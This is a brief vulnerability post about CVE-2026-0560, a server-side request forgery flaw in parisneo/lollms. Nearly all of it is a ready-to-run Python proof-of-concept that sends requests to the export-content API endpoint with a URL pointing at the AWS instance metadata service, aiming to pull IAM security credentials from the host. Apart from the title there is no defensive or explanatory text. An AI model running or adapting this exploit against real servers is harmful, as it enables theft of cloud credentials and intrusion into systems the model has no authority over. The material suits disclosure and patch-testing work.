CVE-2026-0560：parisneo/lollms存在SSRF漏洞

import requests def exploit_ssrf(target_url, malicious_url): """ PoC for CVE-2026-0560 SSRF in parisneo/lollms """ endpoint = f"{target_url}/api/files/export-content" headers = {"Content-Type": "application/json"} # Payload attempting to access AWS metadata payload = { "url": malicious_url, # e.g., http://169.254.169.254/latest/meta-data/ "path": "test.jpg" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:9600" # Replace with actual target internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_target)